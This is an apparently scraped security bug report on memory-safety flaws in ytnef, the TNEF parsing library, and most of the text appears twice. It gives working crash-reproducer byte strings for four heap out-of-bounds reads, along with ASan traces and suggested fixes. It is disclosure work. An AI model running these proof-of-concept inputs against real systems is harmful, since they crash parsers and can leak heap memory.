ytnef Security Bug Report
This report documents several memory-safety bugs in the current master branch of ytnef with commit 5b24cfc12d7e3886b0c8853e6d8b2bb5a25ec8c1.
All dynamically confirmed issues below reproduce against code in lib/ytnef.c, not in the fuzz harness. The harness only provides attacker-controlled input to the library and then exercises the existing debug-printing path.
Environment
Build environment used for confirmation:
OS: Ubuntu 26.04 x86_64
Compiler: clang
Sanitizer: AddressSanitizer
Build Instructions
The following commands were used to build the ASan-instrumented target:
git clone https://github.com/Yeraze/ytnef/
cd ytnef
autoreconf -vfi
mkdir -p build-asan
cd build-asan
ASAN_OPTIONS=detect_leaks=0 LSAN_OPTIONS=detect_leaks=0 \
../configure CC=clang CFLAGS='-O1 -g -fsanitize=address -fno-omit-frame-pointer' \
LDFLAGS='-fsanitize=address'
ASAN_OPTIONS=detect_leaks=0 LSAN_OPTIONS=detect_leaks=0 make -j4
The reproducer binary used below is:
/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz
This harness is included in the tree at:
It calls:
TNEFFillMapi()
MAPIPrint()
That means all crashes below occur in ytnef library code.
Bug 1: Heap Out-of-Bounds Read in MAPIPrint() via strlen() on Non-NUL-Terminated PT_STRING8
Affected Code
File:
Relevant lines:
MAPIPrint() prints a counted PT_STRING8 value with %.*s
- then calls
strlen((char*)mapidata->data)
Current code:
case PT_STRING8:
printf(" Value: [%.*s]\n", mapidata->size, mapidata->data);
if (strlen((char*)mapidata->data) != mapidata->size - 1) {
printf("Detected Hidden data: [");
...
}
break;
Root Cause
TNEFFillMapi() stores PT_STRING8 property values as raw counted buffers. There is no guarantee that the buffer is NUL-terminated. MAPIPrint() later treats the same buffer as a C string by calling strlen(), causing a read past the heap allocation when the input does not contain a trailing '\0'.
This is the same bug pattern as the earlier project fix "Do not assume filename is null terminated", but in a different code path.
Security Impact
This is an attacker-controlled heap out-of-bounds read in the debug-print path. A malformed TNEF/MAPI property can crash the process when debug printing is enabled and MAPIPrint() is reached.
Reproducer
Create the reproducer:
printf '\x01\x00\x00\x00\x1e\x00\x37\x00\x01\x00\x00\x00\x04\x00\x00\x00ABCD' \
> /tmp/string8-no-nul.bin
Run:
ASAN_OPTIONS=detect_leaks=0 \
/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz < /tmp/string8-no-nul.bin
ASan Output
=================================================================
==58==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b872b5e0034 at pc 0x5660eb0aa86f bp 0x7fff1e41de50 sp 0x7fff1e41d618
READ of size 5 at 0x7b872b5e0034 thread T0
#0 0x5660eb0aa86e in strlen (/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz+0x4686e) (BuildId: ca71affe7db3137eb190ddd32a4a0445e8f086ef)
#1 0x7f672c75b58f in MAPIPrint /home/fuzz/dev/ytnef/build-asan/lib/../../lib/ytnef.c:1474:15
#2 0x5660eb179ce1 in run_one /home/fuzz/dev/ytnef/build-asan/fuzz/../../fuzz/ytnef_mapi_fuzz.c:26:5
#3 0x5660eb179ce1 in main /home/fuzz/dev/ytnef/build-asan/fuzz/../../fuzz/ytnef_mapi_fuzz.c:69:3
#4 0x7f672c22a600 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:59:16
#5 0x7f672c22a717 in __libc_start_main csu/../csu/libc-start.c:360:3
#6 0x5660eb0903a4 in _start (/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz+0x2c3a4) (BuildId: ca71affe7db3137eb190ddd32a4a0445e8f086ef)
0x7b872b5e0034 is located 0 bytes after 4-byte region [0x7b872b5e0030,0x7b872b5e0034)
allocated by thread T0 here:
#0 0x5660eb135b1d in calloc (/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz+0xd1b1d) (BuildId: ca71affe7db3137eb190ddd32a4a0445e8f086ef)
#1 0x7f672c759d1c in TNEFFillMapi /home/fuzz/dev/ytnef/build-asan/lib/../../lib/ytnef.c:535:24
#2 0x5660eb179cd5 in run_one /home/fuzz/dev/ytnef/build-asan/fuzz/../../fuzz/ytnef_mapi_fuzz.c:25:7
#3 0x5660eb179cd5 in main /home/fuzz/dev/ytnef/build-asan/fuzz/../../fuzz/ytnef_mapi_fuzz.c:69:3
#4 0x7f672c22a600 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:59:16
#5 0x7f672c22a717 in __libc_start_main csu/../csu/libc-start.c:360:3
#6 0x5660eb0903a4 in _start (/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz+0x2c3a4) (BuildId: ca71affe7db3137eb190ddd32a4a0445e8f086ef)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz+0x4686e) (BuildId: ca71affe7db3137eb190ddd32a4a0445e8f086ef) in strlen
==58==ABORTING
Suggested Remediation
Do not call strlen() on counted property data. If the code wants to detect trailing hidden data, it should operate within the declared mapidata->size only.
Bug 2: Heap Out-of-Bounds Read in DecompressRTF() Uncompressed Branch
Affected Code
File:
Relevant code:
if (magic == 0x414c454d) {
dst = calloc(uncompressedSize, 1);
ALLOCCHECK_CHAR(dst);
memcpy(dst, src + 4, uncompressedSize);
free(comp_Prebuf.data);
return dst;
}
Root Cause
The uncompressed RTF path trusts uncompressedSize from attacker-controlled input but never verifies that the source buffer actually contains that many bytes. The only existing check is:
if (compressedSize != p->size - 4)
That validates the declared compressed size field against the outer container length, but it does not validate uncompressedSize before memcpy(dst, src + 4, uncompressedSize).
Security Impact
This is an attacker-controlled heap out-of-bounds read from the RTF property buffer. It is directly reachable through the decompression path.
Reproducer
Create the reproducer:
printf '\x01\x00\x00\x00\x02\x01\x09\x10\x01\x00\x00\x00\x14\x00\x00\x00\x10\x00\x00\x00\x40\x00\x00\x00MELA\x00\x00\x00\x00\x41\x42\x43\x44' \
> /tmp/rtf-uncompressed-overread.bin
Run:
ASAN_OPTIONS=detect_leaks=0 \
/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz < /tmp/rtf-uncompressed-overread.bin
ASan Output
=================================================================
==58==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6ff2197e0054 at pc 0x6054105cb59f bp 0x7fff98087ff0 sp 0x7fff980877b0
READ of size 64 at 0x6ff2197e0054 thread T0
#0 0x6054105cb59e in __asan_memcpy (/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz+0xcf59e) (BuildId: ca71affe7db3137eb190ddd32a4a0445e8f086ef)
#1 0x73c21a9a209a in DecompressRTF /home/fuzz/dev/ytnef/build-asan/lib/../../lib/ytnef.c:1559:5
#2 0x73c21a99d77d in MAPIPrint /home/fuzz/dev/ytnef/build-asan/lib/../../lib/ytnef.c:1454:39
#3 0x605410611ce1 in run_one /home/fuzz/dev/ytnef/build-asan/fuzz/../../fuzz/ytnef_mapi_fuzz.c:26:5
#4 0x605410611ce1 in main /home/fuzz/dev/ytnef/build-asan/fuzz/../../fuzz/ytnef_mapi_fuzz.c:69:3
#5 0x73c21a42a600 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:59:16
#6 0x73c21a42a717 in __libc_start_main csu/../csu/libc-start.c:360:3
#7 0x6054105283a4 in _start (/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz+0x2c3a4) (BuildId: ca71affe7db3137eb190ddd32a4a0445e8f086ef)
0x6ff2197e0054 is located 0 bytes after 20-byte region [0x6ff2197e0040,0x6ff2197e0054)
allocated by thread T0 here:
#0 0x6054105cdb1d in calloc (/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz+0xd1b1d) (BuildId: ca71affe7db3137eb190ddd32a4a0445e8f086ef)
#1 0x73c21a99bd1c in TNEFFillMapi /home/fuzz/dev/ytnef/build-asan/lib/../../lib/ytnef.c:535:24
#2 0x605410611cd5 in run_one /home/fuzz/dev/ytnef/build-asan/fuzz/../../fuzz/ytnef_mapi_fuzz.c:25:7
#3 0x605410611cd5 in main /home/fuzz/dev/ytnef/build-asan/fuzz/../../fuzz/ytnef_mapi_fuzz.c:69:3
#4 0x73c21a42a600 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:59:16
#5 0x73c21a42a717 in __libc_start_main csu/../csu/libc-start.c:360:3
#6 0x6054105283a4 in _start (/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz+0x2c3a4) (BuildId: ca71affe7db3137eb190ddd32a4a0445e8f086ef)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz+0xcf59e) (BuildId: ca71affe7db3137eb190ddd32a4a0445e8f086ef) in __asan_memcpy
==58==ABORTING
Suggested Remediation
Before the memcpy(), validate:
uncompressedSize <= p->size - 4
If the stream does not contain enough bytes, reject it as malformed.
Bug 3: Heap Out-of-Bounds Read in DecompressRTF() on Truncated Back-Reference
Affected Code
File:
Relevant code:
flags = (flagCount++ % 8 == 0) ? src[in++] : flags >> 1;
if ((flags & 1) == 1) {
unsigned int offset = src[in++];
unsigned int length = src[in++];
...
}
Root Cause
The loop only checks in < p->size at the top. When a flag bit selects a back-reference, the code unconditionally reads two more bytes, but there is no check that two bytes are actually available. If only one byte remains, the second read goes out of bounds.
Security Impact
This is an attacker-controlled heap out-of-bounds read in compressed RTF parsing.
Reproducer
Create the reproducer:
printf '\x01\x00\x00\x00\x02\x01\x09\x10\x01\x00\x00\x00\x14\x00\x00\x00\x10\x00\x00\x00\x04\x00\x00\x00LZFu\x00\x00\x00\x00\x03\x00\x00\xff' \
> /tmp/rtf-backref-truncated.bin
Run:
ASAN_OPTIONS=detect_leaks=0 \
/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz < /tmp/rtf-backref-truncated.bin
ASan Output
=================================================================
==58==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x770ec3be0054 at pc 0x7adec4bd1534 bp 0x7fff000d2b10 sp 0x7fff000d2b08
READ of size 1 at 0x770ec3be0054 thread T0
#0 0x7adec4bd1533 in DecompressRTF /home/fuzz/dev/ytnef/build-asan/lib/../../lib/ytnef.c:1580:31
#1 0x7adec4bcc77d in MAPIPrint /home/fuzz/dev/ytnef/build-asan/lib/../../lib/ytnef.c:1454:39
#2 0x60001590bce1 in run_one /home/fuzz/dev/ytnef/build-asan/fuzz/../../fuzz/ytnef_mapi_fuzz.c:26:5
#3 0x60001590bce1 in main /home/fuzz/dev/ytnef/build-asan/fuzz/../../fuzz/ytnef_mapi_fuzz.c:69:3
#4 0x7adec482a600 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:59:16
#5 0x7adec482a717 in __libc_start_main csu/../csu/libc-start.c:360:3
#6 0x6000158223a4 in _start (/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz+0x2c3a4) (BuildId: ca71affe7db3137eb190ddd32a4a0445e8f086ef)
0x770ec3be0054 is located 0 bytes after 20-byte region [0x770ec3be0040,0x770ec3be0054)
allocated by thread T0 here:
#0 0x6000158c7b1d in calloc (/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz+0xd1b1d) (BuildId: ca71affe7db3137eb190ddd32a4a0445e8f086ef)
#1 0x7adec4bcad1c in TNEFFillMapi /home/fuzz/dev/ytnef/build-asan/lib/../../lib/ytnef.c:535:24
#2 0x60001590bcd5 in run_one /home/fuzz/dev/ytnef/build-asan/fuzz/../../fuzz/ytnef_mapi_fuzz.c:25:7
#3 0x60001590bcd5 in main /home/fuzz/dev/ytnef/build-asan/fuzz/../../fuzz/ytnef_mapi_fuzz.c:69:3
#4 0x7adec482a600 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:59:16
#5 0x7adec482a717 in __libc_start_main csu/../csu/libc-start.c:360:3
#6 0x6000158223a4 in _start (/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz+0x2c3a4) (BuildId: ca71affe7db3137eb190ddd32a4a0445e8f086ef)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/fuzz/dev/ytnef/build-asan/lib/../../lib/ytnef.c:1580:31 in DecompressRTF
==58==ABORTING
Suggested Remediation
When a flag bit indicates a back-reference, validate that at least two bytes remain before consuming offset and length.
Bug 4: Heap Out-of-Bounds Read in MAPIPrint() via %s on Non-NUL-Terminated Decompressed RTF
Affected Code
Files:
Relevant code in MAPIPrint():
if ((vlTemp.data = (BYTE*)DecompressRTF(mapidata, &(vlTemp.size))) != NULL) {
printf("%s\n", vlTemp.data);
free(vlTemp.data);
}
Relevant allocation in DecompressRTF():
dst = calloc(uncompressedSize, 1);
...
return dst;
Root Cause
DecompressRTF() returns exactly uncompressedSize bytes and does not append a NUL terminator. MAPIPrint() then prints that byte buffer as a C string with %s, which causes a read beyond the allocation if the decompressed content is not NUL-terminated.
Security Impact
This is an attacker-controlled heap out-of-bounds read in the debug-print path for compressed RTF properties.
Reproducer
Create the reproducer:
printf '\x01\x00\x00\x00\x02\x01\x09\x10\x01\x00\x00\x00\x14\x00\x00\x00\x10\x00\x00\x00\x01\x00\x00\x00LZFu\x00\x00\x00\x00\x00A\x42\x43' \
> /tmp/rtf-printf-no-nul.bin
Run:
ASAN_OPTIONS=detect_leaks=0 \
/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz < /tmp/rtf-printf-no-nul.bin
ASan Output
=================================================================
==58==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7253defe0031 at pc 0x5be748473e9b bp 0x7ffddcef9e50 sp 0x7ffddcef9620
READ of size 2 at 0x7253defe0031 thread T0
#0 0x5be748473e9a in puts (/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz+0x4ee9a) (BuildId: ca71affe7db3137eb190ddd32a4a0445e8f086ef)
#1 0x7633e0097797 in MAPIPrint /home/fuzz/dev/ytnef/build-asan/lib/../../lib/ytnef.c:1455:15
#2 0x5be74853ace1 in run_one /home/fuzz/dev/ytnef/build-asan/fuzz/../../fuzz/ytnef_mapi_fuzz.c:26:5
#3 0x5be74853ace1 in main /home/fuzz/dev/ytnef/build-asan/fuzz/../../fuzz/ytnef_mapi_fuzz.c:69:3
#4 0x7633dfc2a600 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:59:16
#5 0x7633dfc2a717 in __libc_start_main csu/../csu/libc-start.c:360:3
#6 0x5be7484513a4 in _start (/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz+0x2c3a4) (BuildId: ca71affe7db3137eb190ddd32a4a0445e8f086ef)
0x7253defe0031 is located 0 bytes after 1-byte region [0x7253defe0030,0x7253defe0031)
allocated by thread T0 here:
#0 0x5be7484f6b1d in calloc (/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz+0xd1b1d) (BuildId: ca71affe7db3137eb190ddd32a4a0445e8f086ef)
#1 0x7633e009c3b7 in DecompressRTF /home/fuzz/dev/ytnef/build-asan/lib/../../lib/ytnef.c:1609:11
#2 0x7633e009777d in MAPIPrint /home/fuzz/dev/ytnef/build-asan/lib/../../lib/ytnef.c:1454:39
#3 0x5be74853ace1 in run_one /home/fuzz/dev/ytnef/build-asan/fuzz/../../fuzz/ytnef_mapi_fuzz.c:26:5
#4 0x5be74853ace1 in main /home/fuzz/dev/ytnef/build-asan/fuzz/../../fuzz/ytnef_mapi_fuzz.c:69:3
#5 0x7633dfc2a600 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:59:16
#6 0x7633dfc2a717 in __libc_start_main csu/../csu/libc-start.c:360:3
#7 0x5be7484513a4 in _start (/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz+0x2c3a4) (BuildId: ca71affe7db3137eb190ddd32a4a0445e8f086ef)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz+0x4ee9a) (BuildId: ca71affe7db3137eb190ddd32a4a0445e8f086ef) in puts
==58==ABORTING
Suggested Remediation
There are two straightforward options:
- allocate
uncompressedSize + 1 and explicitly append '\0' in DecompressRTF()
- stop using
%s and print the decompressed data with length-aware logic
The second option is safer for binary-adjacent data paths.
Additional Issue Found by Static Audit: Big-Endian Out-of-Bounds Read in Byte-Swap Helpers
Affected Code
File:
Affected functions:
SwapWord()
SwapDWord()
SwapDDWord()
Root Cause
Under WORDS_BIGENDIAN, each helper uses:
converter.bytes[i] = p[correct - i];
On the first iteration this reads p[correct], which is one byte past the end of the valid range. The index should be:
Status
This issue was not dynamically reproduced on the current host because the test machine is little-endian x86_64, so the big-endian branch is not executed here. It still appears to be a real parser bug on big-endian targets.
I have not tried to reproduce this issue.
ytnef Security Bug Report
This report documents several memory-safety bugs in the current
masterbranch ofytnefwith commit5b24cfc12d7e3886b0c8853e6d8b2bb5a25ec8c1.All dynamically confirmed issues below reproduce against code in
lib/ytnef.c, not in the fuzz harness. The harness only provides attacker-controlled input to the library and then exercises the existing debug-printing path.Environment
Build environment used for confirmation:
Build Instructions
The following commands were used to build the ASan-instrumented target:
The reproducer binary used below is:
This harness is included in the tree at:
It calls:
TNEFFillMapi()MAPIPrint()That means all crashes below occur in
ytneflibrary code.Bug 1: Heap Out-of-Bounds Read in
MAPIPrint()viastrlen()on Non-NUL-TerminatedPT_STRING8Affected Code
File:
Relevant lines:
MAPIPrint()prints a countedPT_STRING8value with%.*sstrlen((char*)mapidata->data)Current code:
Root Cause
TNEFFillMapi()storesPT_STRING8property values as raw counted buffers. There is no guarantee that the buffer is NUL-terminated.MAPIPrint()later treats the same buffer as a C string by callingstrlen(), causing a read past the heap allocation when the input does not contain a trailing'\0'.This is the same bug pattern as the earlier project fix "Do not assume filename is null terminated", but in a different code path.
Security Impact
This is an attacker-controlled heap out-of-bounds read in the debug-print path. A malformed TNEF/MAPI property can crash the process when debug printing is enabled and
MAPIPrint()is reached.Reproducer
Create the reproducer:
Run:
ASAN_OPTIONS=detect_leaks=0 \ /home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz < /tmp/string8-no-nul.binASan Output
Suggested Remediation
Do not call
strlen()on counted property data. If the code wants to detect trailing hidden data, it should operate within the declaredmapidata->sizeonly.Bug 2: Heap Out-of-Bounds Read in
DecompressRTF()Uncompressed BranchAffected Code
File:
Relevant code:
Root Cause
The uncompressed RTF path trusts
uncompressedSizefrom attacker-controlled input but never verifies that the source buffer actually contains that many bytes. The only existing check is:That validates the declared compressed size field against the outer container length, but it does not validate
uncompressedSizebeforememcpy(dst, src + 4, uncompressedSize).Security Impact
This is an attacker-controlled heap out-of-bounds read from the RTF property buffer. It is directly reachable through the decompression path.
Reproducer
Create the reproducer:
Run:
ASAN_OPTIONS=detect_leaks=0 \ /home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz < /tmp/rtf-uncompressed-overread.binASan Output
Suggested Remediation
Before the
memcpy(), validate:If the stream does not contain enough bytes, reject it as malformed.
Bug 3: Heap Out-of-Bounds Read in
DecompressRTF()on Truncated Back-ReferenceAffected Code
File:
Relevant code:
Root Cause
The loop only checks
in < p->sizeat the top. When a flag bit selects a back-reference, the code unconditionally reads two more bytes, but there is no check that two bytes are actually available. If only one byte remains, the second read goes out of bounds.Security Impact
This is an attacker-controlled heap out-of-bounds read in compressed RTF parsing.
Reproducer
Create the reproducer:
Run:
ASAN_OPTIONS=detect_leaks=0 \ /home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz < /tmp/rtf-backref-truncated.binASan Output
Suggested Remediation
When a flag bit indicates a back-reference, validate that at least two bytes remain before consuming
offsetandlength.Bug 4: Heap Out-of-Bounds Read in
MAPIPrint()via%son Non-NUL-Terminated Decompressed RTFAffected Code
Files:
Relevant code in
MAPIPrint():Relevant allocation in
DecompressRTF():Root Cause
DecompressRTF()returns exactlyuncompressedSizebytes and does not append a NUL terminator.MAPIPrint()then prints that byte buffer as a C string with%s, which causes a read beyond the allocation if the decompressed content is not NUL-terminated.Security Impact
This is an attacker-controlled heap out-of-bounds read in the debug-print path for compressed RTF properties.
Reproducer
Create the reproducer:
Run:
ASAN_OPTIONS=detect_leaks=0 \ /home/fuzz/dev/ytnef/build-asan/fuzz/.libs/ytnef_mapi_fuzz < /tmp/rtf-printf-no-nul.binASan Output
Suggested Remediation
There are two straightforward options:
uncompressedSize + 1and explicitly append'\0'inDecompressRTF()%sand print the decompressed data with length-aware logicThe second option is safer for binary-adjacent data paths.
Additional Issue Found by Static Audit: Big-Endian Out-of-Bounds Read in Byte-Swap Helpers
Affected Code
File:
Affected functions:
SwapWord()SwapDWord()SwapDDWord()Root Cause
Under
WORDS_BIGENDIAN, each helper uses:On the first iteration this reads
p[correct], which is one byte past the end of the valid range. The index should be:Status
This issue was not dynamically reproduced on the current host because the test machine is little-endian
x86_64, so the big-endian branch is not executed here. It still appears to be a real parser bug on big-endian targets.I have not tried to reproduce this issue.